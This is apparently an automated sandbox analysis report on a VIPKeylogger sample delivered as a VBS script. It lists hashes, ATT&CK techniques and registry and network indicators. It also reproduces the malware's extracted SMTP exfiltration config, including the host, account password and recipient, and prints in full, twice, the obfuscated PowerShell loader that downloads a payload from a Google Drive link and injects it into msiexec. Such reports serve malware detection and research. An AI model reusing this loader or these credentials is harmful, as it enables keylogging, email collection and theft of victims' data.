vipkeylogger | fa9fa45970a828fe3a99bbe58b142b61c17be373b2652270aee5e16897825654

General

Target

fa9fa45970a828fe3a99bbe58b142b61c17be373b2652270aee5e16897825654.vbs
Size

339KB
MD5

9dc9a0c38423e7bc364522e158e537ce
SHA1

a005803a54f57739424590995f522f45cbbb6f91
SHA256

fa9fa45970a828fe3a99bbe58b142b61c17be373b2652270aee5e16897825654
SHA512

cbc14b6b980011cca9674f0ce9b94cbb3557d89c2d19784002b33c47428c20bc4c3eb80d0b15443b957d5eb98a3c8daacdb17f4b4ac5e8389c0a1568aa6577c5
SSDEEP

6144:En64ik47Q3WAFLOgL6hPnAIjxnH7sjS3xcrl0ZIRN2XrwozRMeqzAv+qmXpiEcIK:ZgcgL8jD/wGmzcspqd+orNaC

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.recsb.com
Port:
587
Username:
[email protected]
Password:
1=vI*r6^
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 10 IoCs

flow	pid	Process
22	3564	powershell.exe
24	3564	powershell.exe
32	3320	msiexec.exe
34	3320	msiexec.exe
36	3320	msiexec.exe
38	3320	msiexec.exe
39	3320	msiexec.exe
49	3320	msiexec.exe
54	3320	msiexec.exe
60	3320	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3564	powershell.exe
2156	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
21	drive.google.com
22	drive.google.com
32	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3320	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2156	powershell.exe
3320	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3564	powershell.exe
3564	powershell.exe
2156	powershell.exe
2156	powershell.exe
2156	powershell.exe
3320	msiexec.exe
3320	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2156	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	3320	msiexec.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 3564	2152	WScript.exe	87
PID 2152 wrote to memory of 3564	2152	WScript.exe	87
PID 2156 wrote to memory of 3320	2156	powershell.exe	102
PID 2156 wrote to memory of 3320	2156	powershell.exe	102
PID 2156 wrote to memory of 3320	2156	powershell.exe	102
PID 2156 wrote to memory of 3320	2156	powershell.exe	102

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fa9fa45970a828fe3a99bbe58b142b61c17be373b2652270aee5e16897825654.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Rindy Nattog Bismar Refrnsangen Compotatory Tilpropning #>;$Shwebo='Volumenrabatter';<#Pitiability Mastodontisk Forfeit #>; function Observatoriet($Fjases){If ($host.DebuggerEnabled) {$Frogmouths++;}$Potning=$Potcher+$Fjases.'Length'-$Frogmouths; for ( $Esterify=5;$Esterify -lt $Potning;$Esterify+=6){$Reger=$Esterify;$Gangrened+=$Fjases[$Esterify];$Astas='Jardin';}$Gangrened;}function Magaziner($Capstans19){ & ($Floribunda) ($Capstans19);}$Passere=Observatoriet 'FrateM oncaoProduzPa teiScru,lFlkhalBrugeaChip./ Udtr ';$Predemonstrated94=Observatoriet 'ChoriTMono lFortlsFarve1 Crus2Gd kd ';$Pentimento='.yste[gul.knGeonyEF nantSavss.TancesPolymELalunrYdelsvfolkei BleecHumrsEPrecoP Ak.ioBrandiDemo.N Mi uT Dermm RichAPeo rnU donA B.ooGBrandE MitrRDivin]Bloom:Platy:PaginsKaberEOversC N niuLjerlr P ctiOverdT ibliyBaggeP arnpR allsoFiendT Ge soGraincNskedoMa,atL favr= ursp$ SlagPDelttrHypere BanddDiastEendpaMToluiOF sten Sk vSSiddeTCorevrOscilaOv rkt KonvEmangaDOracu9Arche4Illu, ';$Passere+=Observatoriet 'Endov5Lec u.U.get0Coiti Strm (SlipsWAtarai ,aknnTran,dSwampo actow lacisUfors ErgotNRokniTKu,tu Tfler1 Arbe0 Bern.Clear0A.ell;Magna Peri W,edekiD,ggrnRepea6hjort4socie; H po EnensxChron6Skrab4Const;Jejun GangtrKob ivAfhrd:Commu1Bestt3Antho1 R,si. olke0Krops)Q,ino UnsnGSkyldeJvnlic aperkUnforo .emm/Corru2Er mi0Game 1F ran0Lowba0fangs1Anker0 Mitr1Dri l M taFStavei FilmrSamkreXylogfCon eo Applx Teli/Filip1Skumm3Beach1 Fore.Unben0Concu ';$Caffled=Observatoriet 'Oat fuSavanS KillE ander,nten-OmvisAFagudgFunkteAfskenAnmeltSop r ';$Lovligt=Observatoriet 'UnsalhT poftFnatmtSnderp Kitos Marr: Porc/afdel/.nburdFlertr T abiN,nsevFiboneP nkt. Stegg BlanoMetaloR.klagInd llTen eeSpild.KlimacOffenoIntonmMisra/FrizzuTeretc Yenn?Pe,omeSc,laxSkyllpBilleoTndbaropkbet refi=SpenddTempeoj.ulewThallnSto elFrilgoLib rasmergdQuing& Fotoi.llesd Rekl= Repu1GnierEVrdirgTendeoophidmSmatt_ EnebSRadi,oSlumrgD sem4EightT aktwDybt,5 F rmZchiroCAntifrLuf h6In enoHex mDI vig0 sendX.nexpmSouusy Tid,q PiraQ BresXAfsk.F Mdr.M.eindb TheoN Tilf4filla_Pocke1Mo or ';$funktionsnavnene=Observatoriet 'Test > Idri ';$Floribunda=Observatoriet 'U legiB,lanETurnpxSands ';$Esterifynvestigatingly7='Overneutralization';$Subrutinens='\Incontinence.Hos';Magaziner (Observatoriet 'Sloga$UtilbGTetraltobacoIndlebF rveATurbiLThr.s:EnebrVUnd.ieBlo sr Br,mIMaleaf RsoniBlndecakti EUmennrSkaerbSkeleASe,suRAtionEaseis=Sp nu$ ReweERebr nStarlvPimen:,ontrA Bir,pAr ejpFlu dDRanslaDinitT ersaBengo+Sytte$ Taktsarc,iUSafiaB ,letR KnalU AfskTgau tiRossenVili eSubconKsr ns An.e ');Magaziner (Observatoriet 'Dampr$ egreg,atetlQuer oKulisB Chora MultlGenop:MisnaSPakkeeTriu.Lfol iVSuperAFo,krnT ndrgblokni EnlaV rerpEOverelExporS dobbEUnstrNCan eSHalvb1Bohrs9 rihj3Opfor=Samoa$Mon,gLkendeo.rugsvNapolLCitatITegnegStaldTBoldg.PetalsIntolpSurreLT.drriDuckytS uns(Ca.as$Julelf SammuZonkeNC perKStimetRechaIKomplOAma.en UnraSAcananNge.taSkrigvUdsp nPensieSpndsn inmeeHvalf)Plan, ');Magaziner (Observatoriet $Pentimento);$Lovligt=$Selvangivelsens193[0];$herskabelig=(Observatoriet 'Tauto$Hyal,GAntisLEfteromicrobvajedAVrelsLPhizc:Bankas chocK SunbNIntersBearbmSmadrAkurionRandodNon oeSt afNS.ter=SynspNMickaE Exc WVa.be-UnaddoHemiab UntujPins.EdiabrChormoT tema judgS saloYautofs yggT astie K bgM.ndle.Lly.dN LeatETandsTrhein.butyrwAym rEFoundBGulleC errilMunyciEvne EPlovfnBildkTKypef ');Magaziner ($herskabelig);Magaziner (Observatoriet 'Phyto$ Ge uSAcyldkGu.fanqu risTheopm BaccaForkun nnedPredieHypotnRee m.UndisH M naele soa T lhdTappeeGlacirStampsFortj[Riste$pyforC paataDorrcfEnverf SheplOphioe verfdBackw]leve = prep$ NonrPAllowa PressPhearsOptege rintrLeveneBegon ');$Eddikesyreproducerende=Observatoriet 'Diasp$g.llaS FirmkMegalnKlests .elemStranaTottinmis,ud EtagestocknPrefr..lenuDDogdoo lev.wSta.tnSejlrlN,nnioBerriaSkelsd FikeF HeatiTransltortue Symb(Form $ DaedLvikahoHumanv ArrelSiccai.ptergKrafttTarra,,owab$SiphoSPunkikplotzr Hamli Meliv Norme LabutBr.dsiAugmeltreaslProtoaHeliodAnti eBygnil loos jende SmuirCad.in GrateMotio)Batwo ';$Skrivetilladelserne=$Verificerbare;Magaziner (Observatoriet ' Flu $AnomagIvrigLTujaeOKnivsbDemorAHectolSynga:tjen,s Gaigu VbnerBanallToddyIElektESammeRFo.la=Avo,t(UdsluTRags,E,asilsPopultLa te-DommePOpnorATi smt I dsh Skd Hvina$PilatsIsogakEn rarPubl i kakkVMicroEChemeTLobstirelatlAt aclSynaga Backd T xie LineL AlkoSvalgce St,trFor,mNS hweESp,ef)Cack ');while (!$Surlier) {Magaziner (Observatoriet 'Mell $Adiabg Dat lresecoHematbUlidiacoassl Marc:K kkeF sopsoH,xamrPasspb Ski,iKra bl K allblepheM.kkad O seeUnifotD cht=Bra,t$ResectHypoprUvid u MonseVandl ') ;Magaziner $Eddikesyreproducerende;Magaziner (Observatoriet 'CopsyS IndiT OutwaAalegR GasaTKejsn-NonprSredbulEnga eIndefEEga ip Fred Patro4Indel ');Magaziner (Observatoriet 'Regat$MiljkgVejrpL kol o SkanbH useAStichlChive: lechs SchmUEtrusr SatiLAmazoIErh eevo,acR Inte= Reto(TjenetGableeSnustsSerraTD.pil-FloroPC eckAPinsetG adahBirli Tr ns$I tansRenumkTopasRReoilI Ge nVDrinkeMi tet Funki DrenLM sopLVibraAN.chaDHall.E .socLrabbis iedee L,emrSyge,NNighteUhand)serie ') ;Magaziner (Observatoriet 'Canon$ ScavgTheriLKolonOHepatbDesinACalmeLTilbe:Cl.tiUBrndeeAraneREpoxyHNondiOFormuL Tilpd MidsEVinkelFrsteiFiligg ackfH RvesEPresudstatue MislnAfspo= in e$ Unz goversLReverOSkabeBGrangA addeLArcha:J ryeGOutbeaScrivn Fon gTilsiBJapanEAntikSOv.loVTintarfjlleEHuskeTHo,edsTarse+H ers+Torpe% nyde$AskeoSSni peans alConv,VMasseaDagfin B,rdgUsynlIFremsVNonsueSmittluncansTr.ckEBrevvNStempSCucko1Omk.d9Allyi3 Coun.EliquCTysteoIndjouKegl,NKurioTPolyg ') ;$Lovligt=$Selvangivelsens193[$Uerholdeligheden];}$astronomiske=299386;$Forktringernes=31513;Magaziner (Observatoriet 'Radec$ DemogPil olKad.nOJuledBCh rtA carrLSup r:langbSGa vaesmgenM.ronei,enetS Re.ttBje,gIUnderFTra eF Rvesl quisYKnokk Plas=,onoc InnkegFirsiE i dsT tviv-OrchiCAndoro.ailfN ApatT Wilte MesonAl neTBestr Bogm$SyrupSAflurKInterR likviKurvevPrmieEL vliTUninsibu,nsLChamil,eferAU derDSe.edeMaranL orepSPressE TranRHemmen AtomeCra l ');Magaziner (Observatoriet 'Conve$Snekkgunprol azifoFortrbR.inea aeonlOplag: PrebFBuk,eubrearlMon,idBemynbOpprer mispiBlda n,obocgTwist kunst=Rackm Forb[Int rSEupheyRectis OpdetTildkeReu,im Beha.SkirrC HereoDeme.nTa lyvTerrieNummer onoctGrowl] skyl:Rough:ClaspFlov,or PilgoTeatfm MinuBDemilaModersS.ildesaut 6 Orga4As.atS HummtAlbu.rHom.ci tidtnAkt,egEfter(Bryde$.umdusBowleePlaymm O sciGreensSol,ntblokkiUdligfAf ukf sophlFabriyFroko) Fore ');Magaziner (Observatoriet 'Hefte$ Sk lgB.ottLMesomOoxychBFjernAUntemLTryk : CanteNondeu UdbrRBradyAParriSAnagriMarchETolerRUvanlE.nketSB rap Str e=Romp Untre[NilfiSFormiYCitroSAfmy TQu nyESpecimBet n. BreetA.ticEHeadtxserraTNejen.V,laiEKlippNfiltrC DukkoAleppDmusikI Recan HuntgSirsl]Thaum: umm:pol nAUnrecSGif ecaandeIfondniPista.upst.gSlagteembart Sk,mS .oolTStap,r Udgai rchiNSvarrGpenne(Forbe$gran.fDentau TimbLKlarndBackrB rerorArchiianisyNEtosjg Slag)Berli ');Magaziner (Observatoriet 'Famil$Ene.eGH vtwlBerejOPalisB AfreA Ses.L Fyrs: fletnArracaambulT va.uU,robrRIrre.EGurdlL Wit,EAfrim=Prosi$StraaeCa caUTre aRA tinASvaghsRadi.IPoly.eForb rRnkesESavojSPotr .SclersOtateuProstBUnderSSwashTCurrir Fossi FlutnBa lug Anth(Repul$Ald haBenetS maaktBegraRApe ao L,ton opniOSt veMStyloIArthrsOrthoKKlingeStt s,Trans$Formaf nthoOPla er ltrak Kernt ForeRMicroiTrafiNcriocGRuno eGrisoREnci N oveEDegresLush ) Tank ');Magaziner $Naturele;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Rindy Nattog Bismar Refrnsangen Compotatory Tilpropning #>;$Shwebo='Volumenrabatter';<#Pitiability Mastodontisk Forfeit #>; function Observatoriet($Fjases){If ($host.DebuggerEnabled) {$Frogmouths++;}$Potning=$Potcher+$Fjases.'Length'-$Frogmouths; for ( $Esterify=5;$Esterify -lt $Potning;$Esterify+=6){$Reger=$Esterify;$Gangrened+=$Fjases[$Esterify];$Astas='Jardin';}$Gangrened;}function Magaziner($Capstans19){ & ($Floribunda) ($Capstans19);}$Passere=Observatoriet 'FrateM oncaoProduzPa teiScru,lFlkhalBrugeaChip./ Udtr ';$Predemonstrated94=Observatoriet 'ChoriTMono lFortlsFarve1 Crus2Gd kd ';$Pentimento='.yste[gul.knGeonyEF nantSavss.TancesPolymELalunrYdelsvfolkei BleecHumrsEPrecoP Ak.ioBrandiDemo.N Mi uT Dermm RichAPeo rnU donA B.ooGBrandE MitrRDivin]Bloom:Platy:PaginsKaberEOversC N niuLjerlr P ctiOverdT ibliyBaggeP arnpR allsoFiendT Ge soGraincNskedoMa,atL favr= ursp$ SlagPDelttrHypere BanddDiastEendpaMToluiOF sten Sk vSSiddeTCorevrOscilaOv rkt KonvEmangaDOracu9Arche4Illu, ';$Passere+=Observatoriet 'Endov5Lec u.U.get0Coiti Strm (SlipsWAtarai ,aknnTran,dSwampo actow lacisUfors ErgotNRokniTKu,tu Tfler1 Arbe0 Bern.Clear0A.ell;Magna Peri W,edekiD,ggrnRepea6hjort4socie; H po EnensxChron6Skrab4Const;Jejun GangtrKob ivAfhrd:Commu1Bestt3Antho1 R,si. olke0Krops)Q,ino UnsnGSkyldeJvnlic aperkUnforo .emm/Corru2Er mi0Game 1F ran0Lowba0fangs1Anker0 Mitr1Dri l M taFStavei FilmrSamkreXylogfCon eo Applx Teli/Filip1Skumm3Beach1 Fore.Unben0Concu ';$Caffled=Observatoriet 'Oat fuSavanS KillE ander,nten-OmvisAFagudgFunkteAfskenAnmeltSop r ';$Lovligt=Observatoriet 'UnsalhT poftFnatmtSnderp Kitos Marr: Porc/afdel/.nburdFlertr T abiN,nsevFiboneP nkt. Stegg BlanoMetaloR.klagInd llTen eeSpild.KlimacOffenoIntonmMisra/FrizzuTeretc Yenn?Pe,omeSc,laxSkyllpBilleoTndbaropkbet refi=SpenddTempeoj.ulewThallnSto elFrilgoLib rasmergdQuing& Fotoi.llesd Rekl= Repu1GnierEVrdirgTendeoophidmSmatt_ EnebSRadi,oSlumrgD sem4EightT aktwDybt,5 F rmZchiroCAntifrLuf h6In enoHex mDI vig0 sendX.nexpmSouusy Tid,q PiraQ BresXAfsk.F Mdr.M.eindb TheoN Tilf4filla_Pocke1Mo or ';$funktionsnavnene=Observatoriet 'Test > Idri ';$Floribunda=Observatoriet 'U legiB,lanETurnpxSands ';$Esterifynvestigatingly7='Overneutralization';$Subrutinens='\Incontinence.Hos';Magaziner (Observatoriet 'Sloga$UtilbGTetraltobacoIndlebF rveATurbiLThr.s:EnebrVUnd.ieBlo sr Br,mIMaleaf RsoniBlndecakti EUmennrSkaerbSkeleASe,suRAtionEaseis=Sp nu$ ReweERebr nStarlvPimen:,ontrA Bir,pAr ejpFlu dDRanslaDinitT ersaBengo+Sytte$ Taktsarc,iUSafiaB ,letR KnalU AfskTgau tiRossenVili eSubconKsr ns An.e ');Magaziner (Observatoriet 'Dampr$ egreg,atetlQuer oKulisB Chora MultlGenop:MisnaSPakkeeTriu.Lfol iVSuperAFo,krnT ndrgblokni EnlaV rerpEOverelExporS dobbEUnstrNCan eSHalvb1Bohrs9 rihj3Opfor=Samoa$Mon,gLkendeo.rugsvNapolLCitatITegnegStaldTBoldg.PetalsIntolpSurreLT.drriDuckytS uns(Ca.as$Julelf SammuZonkeNC perKStimetRechaIKomplOAma.en UnraSAcananNge.taSkrigvUdsp nPensieSpndsn inmeeHvalf)Plan, ');Magaziner (Observatoriet $Pentimento);$Lovligt=$Selvangivelsens193[0];$herskabelig=(Observatoriet 'Tauto$Hyal,GAntisLEfteromicrobvajedAVrelsLPhizc:Bankas chocK SunbNIntersBearbmSmadrAkurionRandodNon oeSt afNS.ter=SynspNMickaE Exc WVa.be-UnaddoHemiab UntujPins.EdiabrChormoT tema judgS saloYautofs yggT astie K bgM.ndle.Lly.dN LeatETandsTrhein.butyrwAym rEFoundBGulleC errilMunyciEvne EPlovfnBildkTKypef ');Magaziner ($herskabelig);Magaziner (Observatoriet 'Phyto$ Ge uSAcyldkGu.fanqu risTheopm BaccaForkun nnedPredieHypotnRee m.UndisH M naele soa T lhdTappeeGlacirStampsFortj[Riste$pyforC paataDorrcfEnverf SheplOphioe verfdBackw]leve = prep$ NonrPAllowa PressPhearsOptege rintrLeveneBegon ');$Eddikesyreproducerende=Observatoriet 'Diasp$g.llaS FirmkMegalnKlests .elemStranaTottinmis,ud EtagestocknPrefr..lenuDDogdoo lev.wSta.tnSejlrlN,nnioBerriaSkelsd FikeF HeatiTransltortue Symb(Form $ DaedLvikahoHumanv ArrelSiccai.ptergKrafttTarra,,owab$SiphoSPunkikplotzr Hamli Meliv Norme LabutBr.dsiAugmeltreaslProtoaHeliodAnti eBygnil loos jende SmuirCad.in GrateMotio)Batwo ';$Skrivetilladelserne=$Verificerbare;Magaziner (Observatoriet ' Flu $AnomagIvrigLTujaeOKnivsbDemorAHectolSynga:tjen,s Gaigu VbnerBanallToddyIElektESammeRFo.la=Avo,t(UdsluTRags,E,asilsPopultLa te-DommePOpnorATi smt I dsh Skd Hvina$PilatsIsogakEn rarPubl i kakkVMicroEChemeTLobstirelatlAt aclSynaga Backd T xie LineL AlkoSvalgce St,trFor,mNS hweESp,ef)Cack ');while (!$Surlier) {Magaziner (Observatoriet 'Mell $Adiabg Dat lresecoHematbUlidiacoassl Marc:K kkeF sopsoH,xamrPasspb Ski,iKra bl K allblepheM.kkad O seeUnifotD cht=Bra,t$ResectHypoprUvid u MonseVandl ') ;Magaziner $Eddikesyreproducerende;Magaziner (Observatoriet 'CopsyS IndiT OutwaAalegR GasaTKejsn-NonprSredbulEnga eIndefEEga ip Fred Patro4Indel ');Magaziner (Observatoriet 'Regat$MiljkgVejrpL kol o SkanbH useAStichlChive: lechs SchmUEtrusr SatiLAmazoIErh eevo,acR Inte= Reto(TjenetGableeSnustsSerraTD.pil-FloroPC eckAPinsetG adahBirli Tr ns$I tansRenumkTopasRReoilI Ge nVDrinkeMi tet Funki DrenLM sopLVibraAN.chaDHall.E .socLrabbis iedee L,emrSyge,NNighteUhand)serie ') ;Magaziner (Observatoriet 'Canon$ ScavgTheriLKolonOHepatbDesinACalmeLTilbe:Cl.tiUBrndeeAraneREpoxyHNondiOFormuL Tilpd MidsEVinkelFrsteiFiligg ackfH RvesEPresudstatue MislnAfspo= in e$ Unz goversLReverOSkabeBGrangA addeLArcha:J ryeGOutbeaScrivn Fon gTilsiBJapanEAntikSOv.loVTintarfjlleEHuskeTHo,edsTarse+H ers+Torpe% nyde$AskeoSSni peans alConv,VMasseaDagfin B,rdgUsynlIFremsVNonsueSmittluncansTr.ckEBrevvNStempSCucko1Omk.d9Allyi3 Coun.EliquCTysteoIndjouKegl,NKurioTPolyg ') ;$Lovligt=$Selvangivelsens193[$Uerholdeligheden];}$astronomiske=299386;$Forktringernes=31513;Magaziner (Observatoriet 'Radec$ DemogPil olKad.nOJuledBCh rtA carrLSup r:langbSGa vaesmgenM.ronei,enetS Re.ttBje,gIUnderFTra eF Rvesl quisYKnokk Plas=,onoc InnkegFirsiE i dsT tviv-OrchiCAndoro.ailfN ApatT Wilte MesonAl neTBestr Bogm$SyrupSAflurKInterR likviKurvevPrmieEL vliTUninsibu,nsLChamil,eferAU derDSe.edeMaranL orepSPressE TranRHemmen AtomeCra l ');Magaziner (Observatoriet 'Conve$Snekkgunprol azifoFortrbR.inea aeonlOplag: PrebFBuk,eubrearlMon,idBemynbOpprer mispiBlda n,obocgTwist kunst=Rackm Forb[Int rSEupheyRectis OpdetTildkeReu,im Beha.SkirrC HereoDeme.nTa lyvTerrieNummer onoctGrowl] skyl:Rough:ClaspFlov,or PilgoTeatfm MinuBDemilaModersS.ildesaut 6 Orga4As.atS HummtAlbu.rHom.ci tidtnAkt,egEfter(Bryde$.umdusBowleePlaymm O sciGreensSol,ntblokkiUdligfAf ukf sophlFabriyFroko) Fore ');Magaziner (Observatoriet 'Hefte$ Sk lgB.ottLMesomOoxychBFjernAUntemLTryk : CanteNondeu UdbrRBradyAParriSAnagriMarchETolerRUvanlE.nketSB rap Str e=Romp Untre[NilfiSFormiYCitroSAfmy TQu nyESpecimBet n. BreetA.ticEHeadtxserraTNejen.V,laiEKlippNfiltrC DukkoAleppDmusikI Recan HuntgSirsl]Thaum: umm:pol nAUnrecSGif ecaandeIfondniPista.upst.gSlagteembart Sk,mS .oolTStap,r Udgai rchiNSvarrGpenne(Forbe$gran.fDentau TimbLKlarndBackrB rerorArchiianisyNEtosjg Slag)Berli ');Magaziner (Observatoriet 'Famil$Ene.eGH vtwlBerejOPalisB AfreA Ses.L Fyrs: fletnArracaambulT va.uU,robrRIrre.EGurdlL Wit,EAfrim=Prosi$StraaeCa caUTre aRA tinASvaghsRadi.IPoly.eForb rRnkesESavojSPotr .SclersOtateuProstBUnderSSwashTCurrir Fossi FlutnBa lug Anth(Repul$Ald haBenetS maaktBegraRApe ao L,ton opniOSt veMStyloIArthrsOrthoKKlingeStt s,Trans$Formaf nthoOPla er ltrak Kernt ForeRMicroiTrafiNcriocGRuno eGrisoREnci N oveEDegresLush ) Tank ');Magaziner $Naturele;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Accesses Microsoft Outlook profiles
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:3320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xtcakobx.uov.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Incontinence.Hos

Filesize
430KB

MD5
39df3352d98852263e530c003ebcf77d

SHA1
ab4159b8f8e059c9febe9a358e074ae921ba0c80

SHA256
91d4251a67937af883cb959ca60d9687cb96f4965f5b87fac838e01a1bb56f97

SHA512
fddb3ae6472372b07f1616859f0e7bdbd7e9ba1a3901a67e3e05f723e03ec9bf2da55a610e85c78d610371ebb1a0f06e73e9b389ab702d2437ee607bf320784b

Download Submit
memory/2156-45-0x0000000008E90000-0x000000000B61F000-memory.dmp

Filesize
39.6MB

Download
memory/2156-43-0x00000000088E0000-0x0000000008E84000-memory.dmp

Filesize
5.6MB

Download
memory/2156-39-0x0000000008260000-0x00000000088DA000-memory.dmp

Filesize
6.5MB

Download
memory/2156-42-0x0000000007830000-0x0000000007852000-memory.dmp

Filesize
136KB

Download
memory/2156-41-0x00000000078A0000-0x0000000007936000-memory.dmp

Filesize
600KB

Download
memory/2156-38-0x0000000006860000-0x00000000068AC000-memory.dmp

Filesize
304KB

Download
memory/2156-21-0x0000000002F00000-0x0000000002F36000-memory.dmp

Filesize
216KB

Download
memory/2156-22-0x00000000059B0000-0x0000000005FD8000-memory.dmp

Filesize
6.2MB

Download
memory/2156-28-0x0000000006090000-0x00000000060B2000-memory.dmp

Filesize
136KB

Download
memory/2156-33-0x0000000006260000-0x00000000062C6000-memory.dmp

Filesize
408KB

Download
memory/2156-34-0x0000000006340000-0x00000000063A6000-memory.dmp

Filesize
408KB

Download
memory/2156-35-0x00000000063B0000-0x0000000006704000-memory.dmp

Filesize
3.3MB

Download
memory/2156-40-0x0000000006DD0000-0x0000000006DEA000-memory.dmp

Filesize
104KB

Download
memory/2156-37-0x0000000006810000-0x000000000682E000-memory.dmp

Filesize
120KB

Download
memory/3320-59-0x0000000001000000-0x0000000001048000-memory.dmp

Filesize
288KB

Download
memory/3320-60-0x0000000022AF0000-0x0000000022B8C000-memory.dmp

Filesize
624KB

Download
memory/3320-66-0x0000000022F80000-0x0000000022F8A000-memory.dmp

Filesize
40KB

Download
memory/3320-65-0x0000000023610000-0x00000000236A2000-memory.dmp

Filesize
584KB

Download
memory/3320-63-0x0000000022EA0000-0x0000000022EF0000-memory.dmp

Filesize
320KB

Download
memory/3320-62-0x0000000023740000-0x0000000023902000-memory.dmp

Filesize
1.8MB

Download
memory/3320-58-0x0000000001000000-0x0000000002254000-memory.dmp

